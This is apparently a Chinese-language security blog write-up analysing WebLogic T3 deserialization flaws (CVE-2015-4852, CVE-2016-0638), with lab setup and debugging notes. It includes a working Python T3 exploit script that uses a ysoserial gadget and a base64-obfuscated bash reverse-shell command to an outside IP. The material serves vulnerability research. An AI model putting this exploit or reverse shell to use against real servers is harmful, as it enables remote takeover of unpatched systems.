環境搭建
使用https://github.com/QAX-A-Team/WeblogicEnvironmentQAX的自動化搭建
參考:https://www.cnblogs.com/0x7e/p/14529949.html
(ps:ubuntu和centos,windows 感覺都不如kali來的潤)
下載對應jdk和weblogic放到對應的文件夾

然后就是修改Dockerfile,因為libnsl這個東西 會安裝錯誤

vim Dockerfile
把RUN yum -y install libnsl刪除即可 (就只搭建環境浪費了我兩天時間)
docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar -t weblogic1036jdk7u21 .docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21F

(垃圾),到之后從kali中提出文件的時候 會拖不到本地來......
(最后還是 windows本地搭建的,在docker中走代理)

遠程調試
mkdir ./middlewaremkdir -p ./coherence_3.7/libdocker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/modules ./middleware/docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/wlserver ./middleware/docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/coherence_3.7/lib ./coherence_3.7/lib
直接拉到本地
如果不想這么麻煩的話可以直接運行對于的.sh腳本,比如這里安裝的是1036 jdk是7u21 ,直接運行run_weblogicjdk7u21.sh,自動安裝以及自動從容器里面導出jar包。
新建一個web項目 然后
打開wlserver目錄

然后add library剛剛導出的coherence_3.7/lib和modules
配置遠程調試

點擊debug

如此便是可以debug了
(搭環境搭了三天了...........) 開團!!!
驗證環境
weblogic/wsee/jaxws/WLSServletAdapter.class的handle方法打上斷點(如果查不到使用全局搜索即可)
訪問http://127.0.0.1:7001/wls-wsat/CoordinatorPortType

關于T3協議
T3協議是Weblogic用于通信的獨有的一個協議,Weblogic Server的RMI通信使用它在其他區的Java程序(包括 服務端,客戶端,以及其他實例)傳輸數據。
T3協議的組成

這里借一張圖解釋一下關于 T3協議的組成
ac ed 00 05是反序列化標志,而在 T3 協議中每個序列化數據包前面都有fe 01 00 00,所以 T3 的序列化標志為fe 01 00 00 ac ed 00 05
并且在發送T3協議的時候 還可以發送多個序列化數據 ,可以替換其中一個的序列化數據 實現反序列化攻擊。
借qax的一張圖解釋

基于T3協議的漏洞
關于T3協議 最開始的漏洞是CVE-2015-4852,隨后都是繞過官方的補丁例如:CVE-2016-0638、CVE-2016-3510、CVE-2018-2628、CVE-2020-2555、CVE-2020-2883
CVE-2015-4852
在weblogic收到T3協議的時候
會在weblogic/rjvm/InboundMsgAbbrev.class類中進行反序列化操作的處理

這里重寫了readObject
調用了ServerChannelInputStream

在ServerChannelInputStream中 重寫了resolveClass但是其最終還是調用了父類的resolveClass


簡單點說就是 ,resolveClass方法把類的序列化描述加工成該類的Class對象,所以這里也就是入口點
沒有任何過濾的調用resolveClass ,可以加載惡意的Class對象
這里放入resolveClass的源碼

debug分析
POC:
from os import popenimport struct # 負責大小端的轉換import subprocessfrom sys import stdoutimport socketimport reimport binascii
def generatePayload(gadget, cmd): YSO_PATH = "./ysoserial-all.jar" popen = subprocess.Popen(['java', '-jar', YSO_PATH, gadget, cmd], stdout=subprocess.PIPE) return popen.stdout.read()
def T3Exploit(ip, port, payload): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((ip, port)) handshake = "t3 12.2.3AS:255HL:19MS:10000000" sock.sendall(handshake.encode()) data = sock.recv(1024) data += sock.recv(1024) compile = re.compile("HELO:(.*).0.false") print(data.decode()) match = compile.findall(data.decode()) if match: print("Weblogic: " + "".join(match)) else: print("Not Weblogic") return header = binascii.a2b_hex(b"00000000") t3header = binascii.a2b_hex( b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006") desflag = binascii.a2b_hex(b"fe010000") payload = header + t3header + desflag + payload payload = struct.pack(">I", len(payload)) + payload[4:] sock.send(payload)
if __name__ == "__main__": ip = "127.0.0.1" port = 7001 gadget = "CommonsCollections1" cmd = "bash -c {echo,YmFzaCAtYyAnZXhlYyBiYXNoIC1pICY+L2Rldi90Y3AvMTkyLjE2OC4yLjE0OS84MDAwIDwmMSc=}|{base64,-d}|{bash,-i}" payload = generatePayload(gadget, cmd) T3Exploit(ip, port, payload)
var1是我們輸入的序列化數據

中間的一系列調用省略 直接到resolveClass類中

這里的var1是AnnotationInvocationHandler,就直接到了cc1的起點

調用getName方法獲取類名,之后通過Class.forName方法獲取對應的類,因為這里的resolveClass方法是直接使用的父類的該方法,并沒有做出任何的安全過濾操作,所以能夠實例化任意類
之后的利用T3協議反序列化的都是和黑名單、白名單斗智斗勇的
CVE-2016-0638
這個cve即是繞過2015補丁的也是一個二次反序列化的實例
關于Externalizable

weblogic/jms/common/StreamMessageImpl

可以看到調用了一次readExternal,又調用了一次readObject兩次反序列化
這里我們跟進createPayload方法

readInt()讀取 輸入數據的長度,var0為輸入數據

Math.min(var1, Chunk.CHUNK_SIZE * 2)取出chunk長度中較小的一位

將我們的讀取到的chunk進行反序列化,重寫writeExternal()方法,將需要二次反序列化的數據寫入,再次進行序列化即可。ref:https://www.anquanke.com/post/id/250801#h3-8
合天網安實驗室
一顆小胡椒
一顆小胡椒
虹科網絡可視化與安全
FreeBuf
合天網安實驗室
CNCERT國家工程研究中心
0x00實驗室
LemonSec
系統安全運維
一顆小胡椒
一顆小胡椒
系統安全運維